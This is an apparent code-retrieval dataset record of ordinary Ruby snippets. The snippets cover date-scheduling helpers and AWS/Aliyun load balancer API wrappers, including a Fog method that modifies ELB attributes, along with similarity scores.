|interval|\n if (next_date.hour >= interval[0]) && (next_date.hour < interval[1])\n return next_date\n end\n end\n next_date += 30.minutes\n end\nend", "def next_demo_day\n DemoDay.where(['day > ?', self.day]).order('day ASC').first\n end", "def ready_date(t=Time.now)\n date = Date.parse(t.to_s)\n if (date.cwday >= 6) || (date.cwday >= 5 && t.hour >= 17)\n date.send(:next_day, 8-date.cwday)\n else\n date\n end.strftime(\"%Y-%m-%d\")\n end", "def next_birthday\n Date.distance_to(self.date_of_birth)\n \tend", "def next_working_date(date)\n cwday = date.cwday\n days = 0\n while non_working_week_days.include?(((cwday + days - 1) % 7) + 1)\n days += 1\n end\n date + days\n end", "def next_booking\n bookings.order(start_date: :asc).first\n end", "def next_rotation_start_date\n last = order(:end_date).last\n if last.present?\n last.end_date + 1.day\n else\n 1.week.since.beginning_of_week(:friday).to_date\n end\n end", "def next_due_at(now = Time.zone.now)\n # The next billing date is always the original date if \"now\" is earlier than the original date\n return created_at if now <= created_at\n\n number_of_cycles = number_of_cycles_since_created(now)\n next_due_at = calculate_due_at(number_of_cycles)\n\n # The number of cycles since the billing cycle was created only gets us to \"now\"\n # so we need probably need to add another cycle to get the next billing date.\n while next_due_at < now\n number_of_cycles += interval_value\n next_due_at = calculate_due_at(number_of_cycles)\n end\n\n next_due_at\n end", "def ready_date(t = Time.now)\n date = Date.parse(t.to_s)\n if (date.cwday >= 6) || (date.cwday >= 5 && t.hour >= 17)\n date.send(:next_day, 8-date.cwday)\n else\n date\n end.strftime(\"%Y-%m-%d\")\n end", "def future from=7.days\n schedules.where(:when.gte => from.from_now)\n end", "def closest(date)\n return nil if !@days_of_week || @days_of_week.empty?\n goal = date\n while goal += IceCube::ONE_DAY\n return self.class.adjust(goal, date) if validate(goal)\n end\n end", "def next_meeting_date\n meeting_date(Date.today).to_s(:rfc822)\n end", "def next\n self.class.where(:created_at.gt => created_at).order(created_at: :desc).first\n end", "def next_day_at_midnight\n Time.parse(self.strftime('%Y-%m-%d')) + (24*60*60)\n end", "def next_day\n advance(days: 1)\n end", "def last_scheduled_payment_date(from_date)\n payment_schedule(from_date).last[:due_on]\n end", "def next_day(time, day, future: true)\n time.is_a?(String) && time = ::Time.zone.parse(time)\n from = ::Date::DAYS_INTO_WEEK[day_name] * SECONDS\n days = ::Date::DAYS_INTO_WEEK[day.to_sym]\n to = (future && days.zero? ? 7 : days) * SECONDS\n\n ::Time.zone.today.beginning_of_day\n .advance(seconds: (to - from) + time.seconds_since_midnight)\n end", "def index_of_next_closest(q, from = 0)\n index_of_closest(1, q, from)\n end", "def next!\n if @date.month + 1 > 12\n @date = Date.new(@date.year+1,@date.month,1)\n else\n @date = Date.new(@date.year,@date.month+1,1)\n end\n end", "def pm_date(direction = 'ASC') # direction = 'ASC' or 'DESC'\n outstanding_pms.select(:next_pm_date).order(\"next_pm_date #{direction}\").first.next_pm_date\n end", "def next_invoice_date\n next_invoice = Kaui::Invoice.trigger_invoice_dry_run(params.require(:account_id), nil, true, options_for_klient)\n render :json => next_invoice ? next_invoice.target_date.to_json : nil\n end", "def next_available_delivery_date\n now = Time.zone.now\n next_available_date = next_available(now)\n\n if(!Config.processing_cut_off_enabled? || (processing_cut_off.nil? || now < now.change(hour: processing_cut_off.hour, min: processing_cut_off.min)))\n return next_available_date\n end\n\n next_available(next_available_date)\n end", "def fast_forward(date_time)\n self.next while valid && dt_end < date_time\n end", "def get_next_date_from_date_of_month(date_of_month)\n o = dup\n if day == date_of_month\n o\n else\n if day > date_of_month\n o.increment_month!\n end\n ZDate.new(ZDate.format_date(o.year_str, o.month_str, date_of_month)) rescue nil\n end\n end", "def next_anniversary_date\n while (@due_date <= Date.today)\n @due_date = Date.new(@year += 1, @month, @day)\n end\n end", "def next_time (from=Time.now)\n\n @cron_line.next_time(from)\n end", "def find_next_week\n if @schedule.days == 0\n date = @date + ((@schedule.start_date.wday - @date.wday) % 7) + (7 * ((@schedule.start_date - @date) % @schedule.period_num))\n return date\n else\n date = @date + find_next_in_bitmask(@schedule.days, @date.wday, 7)\n\n if @date.wday >= bitmask(@schedule.days).length\n date += periods_to_add * 7\n end\n\n return date\n end\n end", "def next_birthday\n \tTime.now.to_date.distance_to(self.dob)\n \tend", "def next\n self.occurrences.where('date >= ?', Date.current).first\n end", "def next_billing_date\n paypal_recurring_details[:next_billing_date]\n end", "def nextDate\n sd = SimpleDate.new(@month, @day, @year)\n\n if (sd.month == 12 && sd.day == 31)\n return SimpleDate.new(1, 1, @year+1)\n\n elsif (leapYear? && sd.month == 2 && sd.day == DAYS_IN_MONTH[sd.month] )\n return SimpleDate.new(2, 29, @year)\n\n elsif(sd.day == SimpleDate.daysInMonth(month, year))\n return SimpleDate.new(@month + 1, 1, @year)\n\n else\n return SimpleDate.new(@month, @day + 1, @year)\n end\n end", "def next_game_date(dt, wday)\n dt += 1 until (wday == dt.wday && !@exclude_dates.include?(dt)) || @include_dates.include?(dt)\n dt\n end", "def next_available_date(day)\n date = Date.today.change(day: day)\n\n date += 1.month if Time.now.day >= day\n\n date\n end", "def downto(min, &block) # :yield: date\n step(min, -1, &block)\n end", "def start_time_on_date(date)\n # puts \"start_time_on_date:\"\n # puts \"date.beginning_of_day: #{date.beginning_of_day}\"\n # puts \"start_time: #{start_time}\"\n # puts \"(date + 1).beginning_of_day: #{(date + 1).beginning_of_day}\"\n # puts \"end_time: #{end_time}\"\n if date.beginning_of_day <= start_time &&\n start_time < (date + 1).beginning_of_day\n # puts \"returning start time: #{start_time}\"\n start_time\n elsif start_time < date.beginning_of_day &&\n date.beginning_of_day < end_time\n # puts \"returning start of date: #{date.beginning_of_day}\"\n date.beginning_of_day\n else\n raise ArgumentError\n end\n end", "def next_wednesday\n date = self\n while !date.wednesday?\n date = date.next\n end\n date\n end", "def next\n after.ascending.first\n end", "def on(date)\n now = Date.today\n case date\n when now + 0; today\n when now + 1; tomorrow\n when now + 2; day_after_tomorrow\n end\n end", "def find_previous date\n loop do\n \treturn date if include?(date)\n \t#puts \"#{@resolution} : #{date}\"\n \tdate = end_of_previous @resolution, date\n end\n end", "def forward(from: ::Date.today, days: 365)\n start_date = get_date_object(from)\n since = start_date + 1\n to = start_date + days\n\n between(from: since, to: to).to_date\n end", "def next(day)\n x_weeks_from_day(1, day)\n end", "def next\n week = Week.where('number > ? AND setup_id = ?', self.number, self.setup_id).order(number: :asc).first\n week && week.is_visible? ? week : nil\n end", "def upcoming?(date=Time.now)\n date < self.start_date\n end", "def next_actionable_date\n return nil unless active?\n\n new_date = actionable_date || Time.zone.today\n\n new_date + interval\n end", "def future_date(days)\n Faker::Date.forward(days)\n end", "def next_date_for_day_of_month(day_in_month)\n if Date.valid_date?(self.year, self.month, day_in_month)\n date_in_current_month = Date.new(self.year, self.month, day_in_month)\n if self.day < day_in_month\n return date_in_current_month\n else\n return date_in_current_month.next_month\n end\n end\n\n self.end_of_month\n end", "def next_game_date(date_time, wday)\n date_time += 1 until (wday == date_time.wday &&\n !@exclude_dates.include?(date_time)) || @include_dates.include?(date_time)\n date_time\n end", "def previous_date( rounded_date )\n rounded_date - 1\n end", "def direction\n date_deadline < Date::today ? :past : :future\n end", "def change_next_bill_date(next_bill_date, current_agent = nil, concept = \"\")\n if not is_billing_expected?\n errors = { member: 'is not expected to get billed.' }\n answer = { message: I18n.t('error_messages.not_expecting_billing'), code: Settings.error_codes.user_not_expecting_billing, errors: errors }\n elsif not self.can_change_next_bill_date?\n errors = { member: 'is not in billable status' }\n answer = { message: I18n.t('error_messages.unable_to_perform_due_user_status'), code: Settings.error_codes.next_bill_date_blank, errors: errors }\n elsif next_bill_date.blank?\n errors = { next_bill_date: 'is blank' }\n answer = { message: I18n.t('error_messages.next_bill_date_blank'), code: Settings.error_codes.next_bill_date_blank, errors: errors }\n elsif next_bill_date.to_date < Time.zone.now.in_time_zone(self.club.time_zone).to_date\n errors = { next_bill_date: 'Is prior to actual date' }\n answer = { message: \"Next bill date should be older that actual date.\", code: Settings.error_codes.next_bill_date_prior_actual_date, errors: errors }\n elsif self.valid? and not self.active_credit_card.expired?\n next_bill_date = next_bill_date.to_datetime.change(offset: self.get_offset_related(next_bill_date.to_date))\n self.next_retry_bill_date = next_bill_date\n self.bill_date = next_bill_date\n self.recycled_times = 0\n self.save(validate: false)\n message = \"Next bill date changed to #{next_bill_date.to_date} #{concept.to_s}\"\n Auditory.audit(current_agent, self, message, self, Settings.operation_types.change_next_bill_date)\n answer = {message: message, code: Settings.error_codes.success }\n else\n errors = self.errors.to_hash\n errors = errors.merge!({credit_card: \"is expired\"}) if self.active_credit_card.expired?\n answer = { errors: errors, code: Settings.error_codes.user_data_invalid }\n end\n answer\n rescue ArgumentError => e\n return { message: \"Next bill date wrong format.\", errors: { next_bill_date: \"invalid date\"}, code: Settings.error_codes.wrong_data } \n rescue Exception => e\n Auditory.report_issue(\"User:change_next_bill_date\", e, { user: self.id })\n return { message: I18n.t('error_messages.airbrake_error_message'), code: Settings.error_codes.could_not_change_next_bill_date }\n end", "def nextQuarter( date )\n m = date.month;\n y = date.year;\n m += 3;\n if( m > 12 ) then\n m -= 12;\n y += 1;\n end;\n return Date.new( y, m, 1 );\nend", "def days_until_xmas(date = Date.today)\n xmas_day = Date.new(date.year, 12, 25)\n if xmas_day < date\n xmas_day = xmas_day.next_year\n end\n (xmas_day - date).to_i\nend", "def next\n Issue.find(:first, :conditions => ['date > ?', date], :order => 'date')\n end", "def next_opens\n opening_time.advance(weeks: 1)\n end", "def next_week_in weeks\n Week.find_by(initial_day: initial_day+( weeks * 7.days))\n end", "def specific_payment_schedule(from_date, on_date = Date.today)\n payment_schedule(from_date).reverse.detect { |item| item[:due_on] <= on_date }\n end", "def next now\n return nil if @empty\n\n today = Date.parse(now.to_s)\n tomorrow = today + 1\n d = next_date today\n if d == today\n hour, minute, second = next_time now\n if hour.nil?\n d = next_date tomorrow\n hour, minute, second = first_time\n end\n else\n hour, minute, second = first_time\n end\n\n s = \"%d-%02d-%02d %02d:%02d:%02d\" % [\n d.year, d.month, d.day,\n hour, minute, second\n ]\n return Time.parse(s).to_i\n end", "def next_scheduled_at\n reviewed_at + (24.hours * next_interval)\n end", "def next_day(days = 1)\n advance(days: days)\n end", "def <=>(other)\n next_date <=> other.next_date\n end", "def start_date_of_roll_period(year, month)\n # todo, to be truly accurate with respect to the description, this should figure out the date of the Tuesday prior to the settlement date, but I think subtracting one day is the real intention.\n vix_futures_settlement_date(year, month) - 1\n # prior_cboe_business_day(vix_futures_settlement_date(year, month))\nend", "def next_birthday_of(person)\n # ???? \nend", "def calculate_next(date, vendor, lead_time)\n next_at = nil\n if self.frequency_id == 1\n #\n # Daily frequency:\n # is based on incrementing from tomorrow until first selected day is found\n #\n if self.frequency_data_1_days.include?(true)\n next_at = date #+ 1.day\n next_at += 1.day until self.frequency_data_1_days[WEEKDAYS[next_at.wday] - 1]\n end\n elsif self.frequency_id == 2\n #\n # Weekly frequency\n # is based on looking for beginning of week with shifting to selected\n # weekday and in case that found weekday is before current weekday\n # it will shift to next cycle.\n #\n day_index = self.frequency_data_2_day_of_week - 1\n # skip_difference = ((date.beginning_of_week.to_date - self.start_at.in_time_zone(vendor.time_zone).beginning_of_week.to_date).to_i / 7) % self.frequency_data_2_every\n # skip = self.frequency_data_2_every - (skip_difference + 1)\n next_at = date.beginning_of_week + day_index.days #+ skip.week\n if next_at < date\n next_at += self.frequency_data_2_every.weeks\n end\n elsif self.frequency_id == 3\n if self.frequency_data_3_type == \"day\"\n #\n # Monthly frequency with day of a month\n # is based on looking for beginning of month with shifting to selected\n # monthday and in case that found monthday is before current monthday\n # it will shift to next cycle.\n #\n # day of a month\n day_index = self.frequency_data_3_month_number - 1\n # skip_difference = (date.month - self.start_at.in_time_zone(vendor.time_zone).month) % self.frequency_data_3_every\n # skip = self.frequency_data_3_every - (skip_difference + 1)\n next_at = (date.beginning_of_month + day_index.days) #+ skip.month\n if next_at < date\n next_at += self.frequency_data_3_every.month\n end\n else\n # Monthly frequency with weekday of a month\n # is based on looking for beginning of month and selected 1st/2nd/3rd/4th\n # weekday of a month and in case that found monthday is before current\n # monthday it will shift to next cycle.\n # skip = (date.month - self.start_at.in_time_zone(vendor.time_zone).month) % self.frequency_data_3_every\n next_at = self.month_weekday_date(date, 0, self.frequency_data_3_week_number, self.frequency_data_3_type.to_i - 1)\n if next_at < date\n next_at = self.month_weekday_date(next_at, self.frequency_data_3_every, self.frequency_data_3_week_number, self.frequency_data_3_type.to_i - 1)\n end\n end\n else\n next_at = nil\n end\n\n # check if standing_order end_at options apply\n if next_at && ( ( self.end_at_id == 1 && self.standing_order_schedules.where(visible: true).count >= self.end_at_data_1_after ) || ( self.end_at_id == 2 && next_at >= self.end_at_data_2_by.in_time_zone(vendor.time_zone) ) )\n next_at = nil\n end\n if next_at && next_at <= (Date.current + 3.months).end_of_month\n schedule = self.standing_order_schedules.find_or_create_by(deliver_at: next_at.in_time_zone(vendor.time_zone))\n schedule.visible = true\n schedule.recalculate_dates(vendor, self, lead_time)\n schedule.save\n next_at = find_next_date(next_at)\n self.calculate_next(next_at.to_date, vendor, lead_time) if next_at\n end\n end" ]
[ "0.6988127", "0.69150674", "0.6720934", "0.6713743", "0.6561058", "0.654712", "0.651791", "0.65158767", "0.651048", "0.6485499", "0.64658606", "0.64643204", "0.64403236", "0.64092857", "0.640129", "0.6307372", "0.6299992", "0.6291768", "0.62493706", "0.6238404", "0.61948866", "0.6182775", "0.6182775", "0.6182775", "0.61781466", "0.6152141", "0.61020994", "0.6100601", "0.6093063", "0.60847473", "0.6076389", "0.6075201", "0.6072816", "0.6062846", "0.6053221", "0.6047668", "0.59952193", "0.59911096", "0.5990462", "0.598549", "0.5984224", "0.5967099", "0.596456", "0.59642", "0.595561", "0.5946153", "0.59363127", "0.59298426", "0.592966", "0.59258264", "0.591091", "0.5873373", "0.58660597", "0.5858327", "0.5849858", "0.58368194", "0.58289737", "0.58249986", "0.5812537", "0.5807347", "0.5796032", "0.5789558", "0.5784893", "0.5782441", "0.57749116", "0.57603794", "0.5749667", "0.5744069", "0.57438844", "0.5740466", "0.5738132", "0.5714976", "0.5702505", "0.569235", "0.5678184", "0.56739837", "0.56695276", "0.56470764", "0.5635625", "0.56182086", "0.5615304", "0.5615014", "0.56113756", "0.5610138", "0.5588851", "0.5585186", "0.558182", "0.55721146", "0.5571342", "0.5567095", "0.5563158", "0.55582297", "0.5557687", "0.5551841", "0.55423194", "0.5530913", "0.55296063", "0.55295134", "0.55190843", "0.5518586" ]
0.70579094
0
Sets attributes of the load balancer The following attributes can be set: CrossZoneLoadBalancing (enable/disable) ConnectionDraining (enable/disable and timeout) Idle Connection Timeouts Still requires: AccessLog configuration ==== Parameters lb_name Name of the ELB options 'ConnectionDraining': 'Enabled' whether to enable connection draining 'Timeout' max time to keep existing conns open before deregistering instances 'CrossZoneLoadBalancing': 'Enabled' whether to enable cross zone load balancing 'ConnectionSettings': 'IdleTimeout' time (in seconds) the connection is allowed to be idle (no data has been sent over the connection) before it is closed by the load balancer. ==== Returns response: body: 'ResponseMetadata': 'RequestId' Id of request
def modify_load_balancer_attributes(lb_name, options) attributes = Fog::AWS.serialize_keys 'LoadBalancerAttributes', options request(attributes.merge( 'Action' => 'ModifyLoadBalancerAttributes', 'LoadBalancerName' => lb_name, :parser => Fog::Parsers::AWS::ELB::Empty.new )) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def modify_load_balancer_attributes(lb_id, attributes)\n attributes = Fog::AWS.serialize_keys 'Attributes', attributes.map{ |property, value| { :Key => property, :Value => value } }\n request(attributes.merge(\n 'Action' => 'ModifyLoadBalancerAttributes',\n 'LoadBalancerArn' => lb_id,\n :parser => Fog::Parsers::AWS::ELBV2::ModifyLoadBalancerAttributes.new\n ))\n end", "def update_attributes(local_config)\n @elb.modify_load_balancer_attributes({\n load_balancer_name: local_config.name,\n load_balancer_attributes: {\n cross_zone_load_balancing: {\n enabled: local_config.cross_zone\n },\n access_log: if local_config.access_log then local_config.access_log.to_aws end,\n connection_draining: {\n enabled: local_config.connection_draining != false,\n timeout: if local_config.connection_draining != false then local_config.connection_draining end\n },\n connection_settings: {\n idle_timeout: local_config.idle_timeout\n }\n }\n })\n end", "def describe_load_balancer_attributes(lb_id)\n request({\n 'Action' => 'DescribeLoadBalancerAttributes',\n 'LoadBalancerArn' => lb_id,\n :parser => Fog::Parsers::AWS::ELBV2::DescribeLoadBalancerAttributes.new\n })\n end", "def set_load_balancer_name(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerName'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :load_balancer_name\n\t\t\targs[:query]['LoadBalancerName'] = optional[:load_balancer_name]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tself.run(args)\n\tend", "def set_load_balancer_name(load_balancer_id, load_balancer_name, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerName'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:query]['LoadBalancerName'] = load_balancer_name\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def name=(new_name=\"\")\n (raise CloudLB::Exception::Syntax, \"Load balancer name must be 128 characters or less\") if new_name.size > 128\n (raise CloudLB::Exception::MissingArgument, \"Must provide a new name\") if new_name.to_s.empty?\n body = {\"name\" => new_name}\n update(body)\n end", "def describe_load_balancer_attribute(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeLoadBalancerAttribute'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tself.run(args)\n\tend", "def add_http_load_balancer(name, ip_address=nil)\n\n add_load_balancer name, 80, ip_address\n\n end", "def create_load_balancer_policy(lb_name, name, type_name, attributes = {})\n params = {}\n\n attribute_name = []\n attribute_value = []\n attributes.each do |name, value|\n attribute_name.push(name)\n attribute_value.push(value)\n end\n\n params.merge!(Fog::AWS.indexed_param('PolicyAttributes.member.%d.AttributeName', attribute_name))\n params.merge!(Fog::AWS.indexed_param('PolicyAttributes.member.%d.AttributeValue', attribute_value))\n\n request({\n 'Action' => 'CreateLoadBalancerPolicy',\n 'LoadBalancerName' => lb_name,\n 'PolicyName' => name,\n 'PolicyTypeName' => type_name,\n :parser => Fog::Parsers::AWS::ELB::Empty.new\n }.merge!(params))\n end", "def set_load_balancer_status(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetLoadBalancerStatus'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :host_id\n\t\t\targs[:query]['HostId'] = optional[:host_id]\n\t\tend\n\t\tif optional.key? :load_balancer_id\n\t\t\targs[:query]['LoadBalancerId'] = optional[:load_balancer_id]\n\t\tend\n\t\tif optional.key? :load_balancer_status\n\t\t\targs[:query]['LoadBalancerStatus'] = optional[:load_balancer_status]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tself.run(args)\n\tend", "def remove_load_balancer_properties\n properties = []\n properties << :AccessLoggingPolicy\n properties << :AppCookieStickinessPolicy\n properties << :ConnectionDrainingPolicy\n properties << :CrossZone\n properties << :LBCookieStickinessPolicy\n properties << :LoadBalancerName\n properties << 'Listeners.PolicyNames'\n properties << 'Listeners.SSLCertificateId '\n properties << :Policies\n properties << :Scheme\n properties << :SecurityGroups\n properties << :Subnets\n add_patch Patches::RemoveProperty.new 'AWS::ElasticLoadBalancing::LoadBalancer', properties\n end", "def populate\n response = @connection.lbreq(\"GET\",@lbmgmthost,\"#{@lbmgmtpath}/loadbalancers/#{CloudLB.escape(@id.to_s)}\",@lbmgmtport,@lbmgmtscheme)\n CloudLB::Exception.raise_exception(response) unless response.code.to_s.match(/^20.$/)\n data = JSON.parse(response.body)['loadBalancer']\n @id = data[\"id\"]\n @name = data[\"name\"]\n @protocol = data[\"protocol\"]\n @port = data[\"port\"]\n @algorithm = data[\"algorithm\"]\n @connection_logging = data[\"connectionLogging\"][\"enabled\"]\n @status = data[\"status\"]\n @timeout = data[\"timeout\"]\n true\n end", "def create_elb(elb)\n resp = aws_api_connect(\"ELB_Client\")\n begin\n pants = resp.create_load_balancer({\n load_balancer_name: elb[:name],\n listeners: [\n {\n protocol: elb[:protocol],\n load_balancer_port: elb[:port],\n instance_protocol: elb[:instnace_protocol],\n instance_port: elb[:instance_port],\n ssl_certificate_id: elb[:ssl_cert],\n },\n ],\n subnets: elb[:subnets],\n security_groups: elb[:security_groups],\n })\n rescue Aws::ElasticLoadBalancing::Errors::DuplicateLoadBalancerName\n puts \"Load Balancer #{elb[:name]} already exists, bypassing\"\n rescue Aws::ElasticLoadBalancing::Errors::Throttling\n puts \"api throttled, retrying\"\n # TODO: Add exponential backoff\n sleep(5)\n retry\n end\n end", "def enable_availability_zones_for_lb(lb_name, availability_zones)\n link = generate_request(\"EnableAvailabilityZonesForLoadBalancer\",\n :load_balancer_name => lb_name, :availability_zones => availability_zones)\n request_info(link, QElbAvailabilityZonesParser.new)\n rescue Exception\n on_exception\n end", "def disable_availability_zones_for_load_balancer(availability_zones, lb_name)\n params = Fog::AWS.indexed_param('AvailabilityZones.member', [*availability_zones])\n request({\n 'Action' => 'DisableAvailabilityZonesForLoadBalancer',\n 'LoadBalancerName' => lb_name,\n :parser => Fog::Parsers::AWS::ELB::DisableAvailabilityZonesForLoadBalancer.new\n }.merge!(params))\n end", "def elastic_load_balancer(name=nil, &block)\n @elastic_load_balancer ||= name ? _elastic_load_balancer(name, &block) : _elastic_load_balancer\n end", "def describe_load_balancer_attribute(load_balancer_id, optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'DescribeLoadBalancerAttribute'\n\t\targs[:query]['LoadBalancerId'] = load_balancer_id\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :_scheme\n\t\t\traise ArgumentError, '_scheme must be http|https' unless 'http|https'.split('|').include? optional[:_scheme]\n\t\t\targs[:scheme] = optional[:_scheme]\n\t\tend\n\t\tif optional.key? :owner_account\n\t\t\targs[:query]['OwnerAccount'] = optional[:owner_account]\n\t\tend\n\t\tif optional.key? :owner_id\n\t\t\targs[:query]['OwnerId'] = optional[:owner_id]\n\t\tend\n\t\tif optional.key? :resource_owner_account\n\t\t\targs[:query]['ResourceOwnerAccount'] = optional[:resource_owner_account]\n\t\tend\n\t\tif optional.key? :resource_owner_id\n\t\t\targs[:query]['ResourceOwnerId'] = optional[:resource_owner_id]\n\t\tend\n\t\tself.run(args)\n\tend", "def update_load_balancer_pool_with_http_info(pool_id, lb_pool, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ManagementPlaneApiServicesLoadbalancerApi.update_load_balancer_pool ...'\n end\n # verify the required parameter 'pool_id' is set\n if @api_client.config.client_side_validation && pool_id.nil?\n fail ArgumentError, \"Missing the required parameter 'pool_id' when calling ManagementPlaneApiServicesLoadbalancerApi.update_load_balancer_pool\"\n end\n # verify the required parameter 'lb_pool' is set\n if @api_client.config.client_side_validation && lb_pool.nil?\n fail ArgumentError, \"Missing the required parameter 'lb_pool' when calling ManagementPlaneApiServicesLoadbalancerApi.update_load_balancer_pool\"\n end\n # resource path\n local_var_path = '/loadbalancer/pools/{pool-id}'.sub('{' + 'pool-id' + '}', pool_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(lb_pool)\n auth_names = ['BasicAuth']\n data, status_code, headers = @api_client.call_api(:PUT, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LbPool')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ManagementPlaneApiServicesLoadbalancerApi#update_load_balancer_pool\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create_load_balancer_listeners(lb_name, listeners)\n params = {}\n\n listener_protocol = []\n listener_lb_port = []\n listener_instance_port = []\n listener_instance_protocol = []\n listener_ssl_certificate_id = []\n listeners.each do |listener|\n listener_protocol.push(listener['Protocol'])\n listener_lb_port.push(listener['LoadBalancerPort'])\n listener_instance_port.push(listener['InstancePort'])\n listener_instance_protocol.push(listener['InstanceProtocol'])\n listener_ssl_certificate_id.push(listener['SSLCertificateId'])\n end\n\n params.merge!(Fog::AWS.indexed_param('Listeners.member.%d.Protocol', listener_protocol))\n params.merge!(Fog::AWS.indexed_param('Listeners.member.%d.LoadBalancerPort', listener_lb_port))\n params.merge!(Fog::AWS.indexed_param('Listeners.member.%d.InstancePort', listener_instance_port))\n params.merge!(Fog::AWS.indexed_param('Listeners.member.%d.InstanceProtocol', listener_instance_protocol))\n params.merge!(Fog::AWS.indexed_param('Listeners.member.%d.SSLCertificateId', listener_ssl_certificate_id))\n\n request({\n 'Action' => 'CreateLoadBalancerListeners',\n 'LoadBalancerName' => lb_name,\n :parser => Fog::Parsers::AWS::ELB::Empty.new\n }.merge!(params))\n end", "def initialize(load_balancer)\n @connection = load_balancer.connection\n @load_balancer = load_balancer\n @lbmgmthost = @connection.lbmgmthost\n @lbmgmtpath = @connection.lbmgmtpath\n @lbmgmtport = @connection.lbmgmtport\n @lbmgmtscheme = @connection.lbmgmtscheme\n populate\n return self\n end", "def disable_availability_zones_for_lb(lb_name, availability_zones)\n link = generate_request(\"DisableAvailabilityZonesForLoadBalancer\",\n :load_balancer_name => lb_name, :availability_zones => availability_zones)\n request_info(link, QElbAvailabilityZonesParser.new)\n rescue Exception\n on_exception\n end", "def createCLB(elbv1, sg_tcp_80_lb, pub_net1_id, pub_net2_id)\n # TODO: Remove CLB by name if create fails to fully create\n\n # Create CLB\n response = elbv1.create_load_balancer(load_balancer_name: 'AutoCLB',\n subnets: [pub_net1_id, pub_net2_id],\n security_groups: [sg_tcp_80_lb],\n listeners: [{ protocol: 'HTTP',\n load_balancer_port: 80,\n instance_protocol: 'HTTP',\n instance_port: 80 }])\n clb_dns_name = response.dns_name\n puts \"clb_dns_name = #{clb_dns_name}\"\n clb_dns_name # return\nend", "def load_balancer # rubocop:disable AbcSize\n raise 'Can not determine hostname to load client for' if @new_resource.f5.nil?\n @@load_balancers ||= []\n add_lb(@new_resource.f5) if @@load_balancers.empty?\n add_lb(@new_resource.f5) if @@load_balancers.find { |lb| lb.name == @new_resource.f5 }.nil?\n @@load_balancers.find { |lb| lb.name == 